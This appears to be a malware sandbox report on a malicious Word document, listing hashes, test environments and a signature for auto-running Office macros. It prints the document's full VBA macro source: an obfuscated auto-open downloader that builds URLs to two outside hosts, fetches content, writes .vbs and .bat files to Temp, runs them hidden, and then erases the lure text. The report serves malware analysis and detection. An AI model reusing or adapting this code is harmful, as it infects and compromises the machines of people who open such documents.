Behavioral task
behavioral1
Sample
482ca49dcab02d9db9267547fa3de8a5c022ce2daf57b796b818b688f8271e76.doc
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
482ca49dcab02d9db9267547fa3de8a5c022ce2daf57b796b818b688f8271e76.doc
Resource
win10v2004-20220812-en
General
-
Target
482ca49dcab02d9db9267547fa3de8a5c022ce2daf57b796b818b688f8271e76
-
Size
251KB
-
MD5
a17482cf4121bef6ddde8b40d1bcecf0
-
SHA1
e80199df5a0863d01819de0c2bc3fe3eb1e13338
-
SHA256
482ca49dcab02d9db9267547fa3de8a5c022ce2daf57b796b818b688f8271e76
-
SHA512
8a982f16762362262992524e8715bb9820843681bdf3096fae088532764f1ef1a52cf7292bcaea3577a8f3d88899efd18b791d4baeb65de3ef09df4a9fc6ac8d
-
SSDEEP
3072:vjPvvZYOdkm9spw7uzeJq+oqZSqf8/ISU5uW:zprkm9awDJhoeSRJD
Malware Config
Signatures
-
Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule sample office_macro_on_action -
resource sample
Files
-
482ca49dcab02d9db9267547fa3de8a5c022ce2daf57b796b818b688f8271e76.doc windows office2003
ThisDocument
1Attribute VB_Name = "ThisDocument"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = True8Attribute VB_Customizable = True910Sub Auto_Open()11Agudobo12End Sub13Sub Agudobo()14QNWDJQW = "1jkehjk ajkshd jkashdjka"15Parampa16End Sub17Sub AutoOpen()18Agudobo19End Sub20Sub Parampa()2122Dim MADRID As String, MOTOROLA As String, KIPARIS As String23Dim TSTS As String, CDDD As String, LNSS As String, STT1 As String, STT2 As String24Dim PBIn As String, CONT As String25Dim Ndjs As Integer26Dim ABTH As String, BBTH As String27Dim klmn As Integer, TTKK As String28Dim GEFORCE1 As String, GEFORCE2 As String, hdjshd As Integer293031KIPARIS = Module2.hhr(92)32MADRID = Samsung(9898)33MOTOROLA = "Tem" & "p"34PH2 = Module1.Goabc(MOTOROLA) + KIPARIS3536ART = 31537BFT = 3163839MNJQD = ":" + "//"40Ndjs = Sgn(Asc(Module2.Kakarumba(1)) - 342) + 104 + 141ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) & MNJQD424344TSTS = "" & ".tx" + "t" + ""45CDDD = "777763172631572" + TSTS46LNSS = "rara" + TSTS47STT1 = "themertailor.c" + "om/a" + "dm" + "in/co" + "ntrol" + "ler/"48STT2 = "mirai2000.c" + "om/"495051PBIn = ATTH + STT1 + CDDD5253CONT = Module2.Klklklklklkl(PBIn)54BHJD = Right(CONT, 15)55hdjshd = InStr(1, BHJD, "exit")5657If (hdjshd = 0) Then58PBIn = ATTH + STT2 + CDDD59CONT = Module2.Klklklklklkl(PBIn)60NFBH = Module2.Klklklklklkl(ATTH + STT2 + LNSS)61Else62NFBH = Module2.Klklklklklkl(ATTH + STT1 + LNSS)63End If6465Module2.Crispy (1)6667CPLRP1 = "pioneer"68CPLRP2 = "paytina"69CPLRP3 = "cranberry"7071CONT = Replace(CONT, CPLRP1, PH2, 1)72CONT = Replace(CONT, CPLRP2, NFBH, 1)73CONT2 = Replace(CONT, CPLRP3, MADRID, 1)7475TTKK = "$"7677klmn = CInt(Len(CONT2))78For i = 1 To klmn79If (Mid(CONT2, i, 1) = TTKK) Then80If (Mid(CONT2, i - 1, 1) = TTKK) Then81GEFORCE1 = Mid(CONT2, 1, i - 2)82GEFORCE2 = Mid(CONT2, i + 1, klmn - i)83End If84End If85Next i8687ABTH = PH2 + MADRID + ".vbs"88BBTH = PH2 + MADRID + ".bat"899091Open ABTH For Output As #ART92Print #ART, GEFORCE193Close #ART9495Module2.Crispy (1)9697Open BBTH For Output As #BFT98Print #BFT, GEFORCE299Close #BFT100101Module2.Crispy (1)102103QUHDQ = Module2.Fuflmdjoo(BBTH)104Module1.Hameleon105106End Sub107Sub Workbook_Open()108QHDIQUWH = "nkjh wjkqhdk jqdkjgqwhdjqw dkjsalk"109Agudobo110End Sub111Public Function NHdjhasbdhas(a As Object)112NHdjhasbdhas = (a.responsetext)113End Function114Public Function Samsung(a As Integer)115Randomize116Samsung = CStr(Int((a / 2 * Rnd) + a))117End Function118Public Function Creasqwdqwjdk(a As String)119Creasqwdqwjdk = CreateObject(a)120End Function121Public Function Hhqudhqwgyuqwaaa(a As Integer)122Hhqudhqwgyuqwaaa = Sgn(a)123End Function124125126127128129130131132133134135Module1
1Attribute VB_Name = "Module1"23Sub Hameleon()4Dim ij As Integer5Dim charCount As Integer6QWND = "#"7charCount = ActiveDocument.Characters.Count - 189POND = "$"10ij = 011Do While True12ij = ij + 113If (ActiveDocument.Characters(ij) = QWND) Then14If (ActiveDocument.Characters(ij - 1) = POND) Then15ActiveDocument.Range(Start:=0, End:=ij).Delete16ActiveDocument.Range(Start:=0, End:=charCount - ij - 1).Font.ColorIndex = wdBlack17Exit Do18End If19End If20If (ij = charCount) Then21Exit Do22End If23Loop24End Sub2526Public Function Goabc(sps As String)27HUQWDS = "hdqwdjqw dgqjhdgqjhg hwqgdj"28Goabc = Environ(sps)29End Function3031323334353637383940414243Module2
1Attribute VB_Name = "Module2"2Public Function Fuflmdjoo(a As String)3Dim bydd As Variant4bydd = Shell(a, 0)5MKQNWD = "qjwdlkqw hdjkqhw dhjqgdhjqwgdq"6End Function7Public Function Kakarumba(n As Integer)8Dim i As Integer9For i = 1 To n Step 110Randomize11NHWDS = Chr(Int(121 * Rnd) + 97)12Kakarumba = Kakarumba + NHWDS13Next i14BHQWJD = "hqjwdg gjhqw"15End Function16Public Function Klklklklklkl(nbqjbdjqw As String)17Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Mhdbqwdbnsagdwhqdghd As Object, AHUDWQI As String18Dim ashdUHhda As String, dddc As Integer, GWJUQHWDDD As String, AsaHuhqdjhasd As String, AAHQJD As String, hqudhhajs As String19AsaHuhqdjhasd = nbqjbdjqw20ashdUHhda = AsaHuhqdjhasd21'sadqwwdq22dddc = 1 - (Atn(10 + 10))23HQDUQ = hhr(Val(81 + dddc))24hqudhhajs = klmn(Val(78 + dddc))25BHQDHJWQDW = "M" & "L2" & "." + "S" & "er" & "verX" & "MLH"26BYGDWHQGWHDWQ = BHQDHJWQDW + "TT" + HQDUQ27'fkqwd28GWJUQHWDDD = "E"29NNNHDQYUWG = Chr(11 * 2 * 4 + 4 * dddc)30GWJUQHWDDD = "G" + GWJUQHWDDD & NNNHDQYUWG31DWQJDIQWDKWQJDHBB = hqudhhajs + "SX" + BYGDWHQGWHDWQ32'qwndjkqwq33Set Mhdbqwdbnsagdwhqdghd = CreateObject(DWQJDIQWDKWQJDHBB)34'qgdhjqwghqj35Mhdbqwdbnsagdwhqdghd.Open GWJUQHWDDD, ashdUHhda36Mhdbqwdbnsagdwhqdghd.Send (AHUDWQI)37AAHQJD = ThisDocument.NHdjhasbdhas(Mhdbqwdbnsagdwhqdghd)38Klklklklklkl = AAHQJD3940End Function4142Sub Crispy(NumOfSeconds As Long)43Dim SngSec As Long44SngSec = Timer + NumOfSeconds45Do While Timer < SngSec46DoEvents47Loop48End Sub495051Public Function klmn(pag As Integer)52klmn = Chr(pag)53End Function5455Public Function hhr(sps As Integer)56hhr = Chr(sps)57End Function585960616263646566676869707172